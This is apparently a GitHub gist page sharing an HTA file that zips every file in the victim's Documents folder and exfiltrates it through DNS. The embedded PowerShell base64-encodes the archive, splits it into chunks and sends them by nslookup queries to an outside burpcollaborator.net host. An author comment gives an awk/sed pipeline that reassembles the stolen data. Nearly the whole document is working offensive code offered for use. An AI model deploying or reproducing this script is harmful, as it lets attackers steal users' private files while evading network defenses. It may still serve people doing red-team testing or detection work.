Skip to content

Instantly share code, notes, and snippets.

@hateshape

hateshape/DNS-Exfiltration.hta

Created October 12, 2019 15:18
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save hateshape/31876e6efbae78cf0317d38b26afb482 to your computer and use it in GitHub Desktop.
Save hateshape/31876e6efbae78cf0317d38b26afb482 to your computer and use it in GitHub Desktop.
Download ZIP
HTA File to Zip All Files in a Users' Documents Directory and Exfiltrate Via DNS
Raw
DNS-Exfiltration.hta
<html><head><meta name=ProgId content=htafile></head>
<hta:application id=x><script>
try { if (x.commandLine != ""){
new ActiveXObject('WScript.Shell').Run("powershell.exe -command $a00=(Resolve-Path ~);Compress-Archive -Path $a00/Documents -DestinationPath 'a.zip';$c=[Convert]::ToBase64String([IO.File]::ReadAllBytes('a.zip'));$r1=$c | Foreach-Object {$_.Replace('=', 'EQ')};$r2=$r1 | Foreach-Object {$_.Replace('/', 'SLASH')};$r3=$r2 | Foreach-Object {$_.Replace('+', 'PLUS')};$e=($r3 -split '(.{50})'| ? {$_});for ($i=0;$i -lt $e.Length; $i++) { $f=$e[$i]+'.'+$i.ToString()+'.u61vj1t81tyg2t3az0hb4ujvum0co1.burpcollaborator.net';nslookup -type=A $f;sleep(2)}",1)
}
}
catch(ex){ alert('Error');}
</script>
</html>
@hateshape
Copy link
Author

Make the Zip File Have Happy Base64 Data:
awk -F. '{print $2, $1}' zipfile.txt | cut -d' ' -f2 | sed ':a;N;$!ba;s/\n//g' | sed 's/PLUS/+/g' | sed 's/SLASH/\//g' | sed 's/EQEQ/==/g'

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment